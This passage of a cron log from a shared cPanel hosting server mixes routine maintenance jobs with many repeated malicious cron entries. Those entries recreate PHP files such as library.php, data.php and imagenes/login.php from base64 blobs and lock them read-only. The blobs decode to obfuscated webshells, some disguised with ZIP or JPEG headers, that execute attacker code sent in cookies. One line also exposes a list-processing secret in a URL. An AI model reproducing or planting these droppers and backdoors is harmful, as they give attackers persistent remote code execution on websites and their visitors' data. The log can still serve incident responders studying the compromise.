Jwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:48:01 medusa CROND[904]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:49:01 medusa CROND[17237]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:49:01 medusa CROND[17273]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:49:01 medusa CROND[17274]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:49:01 medusa CROND[17531]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:49:01 medusa CROND[17533]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:49:01 medusa CROND[17534]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:49:01 medusa CROND[17536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:49:01 medusa CROND[17541]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:49:01 medusa CROND[17547]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:49:01 medusa CROND[17548]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:49:01 medusa CROND[17550]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:49:01 medusa CROND[17551]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:50:01 medusa CROND[1738]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 16:50:01 medusa CROND[1770]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:50:01 medusa CROND[1784]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:50:02 medusa CROND[2135]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:50:02 medusa CROND[2151]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 16:50:02 medusa CROND[2154]: (root) CMD (/usr/bin/kcarectl --auto-update )
Mar  2 16:50:02 medusa CROND[2156]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:50:02 medusa CROND[2157]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 16:50:02 medusa CROND[2158]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:50:02 medusa CROND[2160]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 16:50:02 medusa CROND[2162]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 16:50:02 medusa CROND[2159]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 16:50:02 medusa CROND[2176]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 16:50:02 medusa CROND[2178]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:50:02 medusa CROND[2181]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:50:02 medusa CROND[2183]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:50:02 medusa CROND[2188]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:50:02 medusa CROND[2187]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:50:02 medusa CROND[2189]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:50:02 medusa CROND[2186]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:50:02 medusa CROND[2182]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:50:02 medusa CROND[2199]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:50:02 medusa CROND[2177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:50:02 medusa CROND[2213]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:50:02 medusa CROND[2216]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:50:02 medusa CROND[2218]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:50:02 medusa CROND[2221]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:50:02 medusa CROND[2226]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:50:02 medusa CROND[2214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
